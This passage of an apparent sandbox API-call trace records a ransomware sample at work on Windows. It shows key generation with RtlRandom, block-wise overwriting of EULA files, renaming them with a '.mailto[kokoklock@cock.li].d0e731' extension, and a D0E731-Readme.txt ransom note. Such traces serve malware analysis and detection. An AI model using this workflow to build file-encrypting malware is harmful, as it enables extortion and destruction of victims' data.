NtQuerySystemTime (in: CurrentTime=0x2453fd7c | out: CurrentTime=0x2453fd7c*=132121176382716719) returned 0x0 [0080.372] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xb6b63efd [0080.372] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x9e1a0082 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x698d6c83 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xfd969ad5 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x70c7d281 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xe77a2aa3 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x909ca296 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x6b17e785 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xfe3496c7 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x45296c66 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xe1575177 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xf24ea173 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x15cc41a [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x3171d255 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x11d955ec [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xc6f6121a [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xcdc84344 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x60b337e [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xbd5ec137 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xfb12ba74 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x1fc45709 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x789bedd6 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x96d02338 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x98940352 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xced92f52 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x5be9d2b0 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xc22b911d [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x78782c5d [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x31d286f0 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x3212b897 [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0x125e21ed [0080.373] RtlRandom (in: Seed=0x2453fd88 | out: Seed=0x2453fd88) returned 0xda431621 [0080.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.384] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.384] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2453fd3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2453fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.385] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.386] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2453fd3c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2453fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.387] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.387] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2453fd3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2453fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.388] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916f0 [0080.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916f0) returned 1 [0080.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916f0 [0080.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.389] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2453fd3c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2453fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.389] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xcf0f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.389] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2453fd3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2453fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.390] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xcf0f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0080.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.391] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2453fd3c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2453fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.391] WriteFile (in: hFile=0x454, lpBuffer=0x3491600*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2453fd98, lpOverlapped=0x0 | out: lpBuffer=0x3491600*, lpNumberOfBytesWritten=0x2453fd98*=0x20, lpOverlapped=0x0) returned 1 [0080.391] WriteFile (in: hFile=0x454, lpBuffer=0x34916f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2453fd98, lpOverlapped=0x0 | out: lpBuffer=0x34916f0*, lpNumberOfBytesWritten=0x2453fd98*=0x20, lpOverlapped=0x0) returned 1 [0080.391] WriteFile (in: hFile=0x454, lpBuffer=0x3491470*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2453fd98, lpOverlapped=0x0 | out: lpBuffer=0x3491470*, lpNumberOfBytesWritten=0x2453fd98*=0x20, lpOverlapped=0x0) returned 1 [0080.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.391] WriteFile (in: hFile=0x454, lpBuffer=0x34916c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2453fda0, lpOverlapped=0x0 | out: lpBuffer=0x34916c8*, lpNumberOfBytesWritten=0x2453fda0*=0x8, lpOverlapped=0x0) returned 1 [0080.392] WriteFile (in: hFile=0x454, lpBuffer=0x2453fdb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2453fda0, lpOverlapped=0x0 | out: lpBuffer=0x2453fdb8*, lpNumberOfBytesWritten=0x2453fda0*=0x4, lpOverlapped=0x0) returned 1 [0080.392] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2453fda0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2453fda0*=0x4, lpOverlapped=0x0) returned 1 [0080.392] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2453fda0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2453fda0*=0x6c, lpOverlapped=0x0) returned 1 [0080.392] WriteFile (in: hFile=0x454, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2453fda0, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x2453fda0*=0x20, lpOverlapped=0x0) returned 1 [0080.392] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2453fda0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2453fda0*=0x4, lpOverlapped=0x0) returned 1 [0080.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916c8) returned 1 [0080.392] CloseHandle (hObject=0x454) returned 1 [0080.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.392] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" [0080.392] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731" [0080.392] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.394] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.394] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm", dwFileAttributes=0x20) returned 0 [0080.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.394] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.394] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.394] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ffd0) returned 1 [0080.394] RtlExitUserThread (Status=0x1) Thread: id = 1009 os_tid = 0x16c8 [0080.390] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm")) returned 0x20 [0080.395] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm", dwFileAttributes=0x20) returned 1 [0080.395] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.395] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x245bfc80 | out: lpFileSize=0x245bfc80*=64872) returned 1 [0080.395] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.395] ReadFile (in: hFile=0x454, lpBuffer=0x245bfc54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x245bfc50, lpOverlapped=0x0 | out: lpBuffer=0x245bfc54*, lpNumberOfBytesRead=0x245bfc50*=0x4, lpOverlapped=0x0) returned 1 [0080.397] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916c8 [0080.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491718 [0080.397] NtQuerySystemTime (in: CurrentTime=0x245bfc2c | out: CurrentTime=0x245bfc2c*=132121176382872552) returned 0x0 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xc25be9b0 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x77c5d516 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xcea26d35 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x4b5f1b3f [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x250e6b7c [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xd6501dc8 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xe77b2ccc [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xb40315a1 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x9e4aba2c [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xe2ce27dd [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xa12171d1 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x2d92eafe [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x22a953b5 [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xedfea5ab [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xe4430e0f [0080.397] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x7a89483f [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x369461d5 [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xdeab95ba [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xc53ef55c [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x979c8d6a [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xe4a831f [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x3bea6ff5 [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xcfe3ed4c [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x277cd1d9 [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xaa3ec80b [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x5d78cceb [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xe8329f21 [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xbf4965d2 [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x5470dfa3 [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x2237b0b1 [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0xb52659ea [0080.398] RtlRandom (in: Seed=0x245bfc38 | out: Seed=0x245bfc38) returned 0x2eb1bdeb [0080.408] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.409] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.409] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x245bfc04, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x245bfc04*=0x4096, lpOverlapped=0x0) returned 1 [0080.409] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491498 [0080.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491498) returned 1 [0080.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.410] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x245bfc04, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x245bfc04*=0x4096, lpOverlapped=0x0) returned 1 [0080.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.410] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfd68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.410] WriteFile (in: hFile=0x454, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x245bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x245bfc3c*=0x20, lpOverlapped=0x0) returned 1 [0080.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.411] WriteFile (in: hFile=0x454, lpBuffer=0x3491740*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x245bfc50, lpOverlapped=0x0 | out: lpBuffer=0x3491740*, lpNumberOfBytesWritten=0x245bfc50*=0x8, lpOverlapped=0x0) returned 1 [0080.411] WriteFile (in: hFile=0x454, lpBuffer=0x245bfc68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x245bfc50, lpOverlapped=0x0 | out: lpBuffer=0x245bfc68*, lpNumberOfBytesWritten=0x245bfc50*=0x4, lpOverlapped=0x0) returned 1 [0080.411] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x245bfc50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x245bfc50*=0x4, lpOverlapped=0x0) returned 1 [0080.411] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x245bfc50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x245bfc50*=0x6c, lpOverlapped=0x0) returned 1 [0080.411] WriteFile (in: hFile=0x454, lpBuffer=0x34916c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x245bfc50, lpOverlapped=0x0 | out: lpBuffer=0x34916c8*, lpNumberOfBytesWritten=0x245bfc50*=0x20, lpOverlapped=0x0) returned 1 [0080.411] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x245bfc50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x245bfc50*=0x4, lpOverlapped=0x0) returned 1 [0080.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916c8) returned 1 [0080.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491740) returned 1 [0080.411] CloseHandle (hObject=0x454) returned 1 [0080.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.412] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" [0080.412] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731" [0080.412] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.412] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.413] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm", dwFileAttributes=0x20) returned 0 [0080.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.413] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.413] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.413] GetFileAttributesW 